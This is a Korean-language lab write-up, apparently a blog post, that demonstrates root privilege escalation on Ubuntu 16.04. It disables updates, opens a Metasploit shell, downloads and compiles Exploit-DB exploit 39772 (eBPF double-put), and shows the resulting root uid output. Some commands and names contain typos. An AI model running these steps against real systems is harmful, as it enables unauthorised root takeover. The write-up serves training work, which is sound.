System/Cybersecurity

Ubuntu 16.04 Privilege Escalation 취약점 공격 실습 - root 권한 얻기


원문 : https://condencia.postype.com/post/2434006

원문 등록 일자 : 2018.11.22



실습 환경 : Kali Linux, Ubuntu Linux 16.04 LTS

https://exploit-db.com/exploits/39772


1) 설정


서버(Ubuntu)가 실습 도중 상위 버전으로 업데이트되지 않도록 설정한다.

1
root@ubuntu:~/ sudo vim /etc/apt/apt.conf.d/10periodic

cs


/etc/apt/apt.conf.d/10periodic 파일의 내용을 다음과 같이 변경한다.

1
2
3
4
APT::Periodic::Update-Package-Lists "0";
APT::Periodic::Download-Upgradeable-Packages "0";
APT::Periodic::AutocleanInterval "0";
APT::Periodic::Unattended-Upgrade "0";
cs


chrome 등과 같은 웹 브라우저를 실행시켜

http://[Ubuntu 서버 IP 주소]:[서버 포트]/phpmyadmin에 접속한다.

ID, PW를 입력한 후 로그인에 성공하면, phpmyadmin의 wordpress-> wp_options 항목의 option_id 1, 2번 항목을 http://[Ubuntu 서버 IP 주소]:[서버 포트]/wordpress로 변경한다. (option_id 1/2)



2) 원격 접속


Metasploit을 이용하여 Ubuntu 서버 콘솔에 원격으로 접속한다.


(참고 : https://vallhalla-edition.tistory.com/2)


1
2
3
4
5
6
meterpreter > execute -/bin/bash -i
 
 
uname -a
 
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
cs

타겟 리눅스의 정보를 가져온다.



3) exploit


Ubuntu


1
2
3
4
5
6
7
8
9
10
11
root@ubuntu:~/ wget https://github.com/offensive-security/exploit-database-bin-sploiots/raw/master/bin-sploits/39772.zip
root@ubuntu:~/ unzip 39772.zip
root@ubuntu:~/ tar -vxf exploit.tar
root@ubuntu:~/ cd ebpf_mapfd_doubleput_exploit
root@ubuntu:~/ebpf_mapfd_doubleput_exploit/ ./comple.sh
root@ubuntu:~/ebpf_mapfd_doubleput_exploit/ ./doubleput
 
starting writev
 
woohoo, got pointer feuse
writev returned successfully. if this worked, youll have a ro=ot shell in <=60 seconds
cs


의존성과 관련하여 fuse가 필요하다. Ubuntu 16.04에는 기본적으로 없지만, nmap 스캔할 때에는 fuse가 있다고 가정한다.


Kali

1
2
3
id
 
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),1000(server)
cs


root로 계정이 바뀐 것을 볼 수 있다.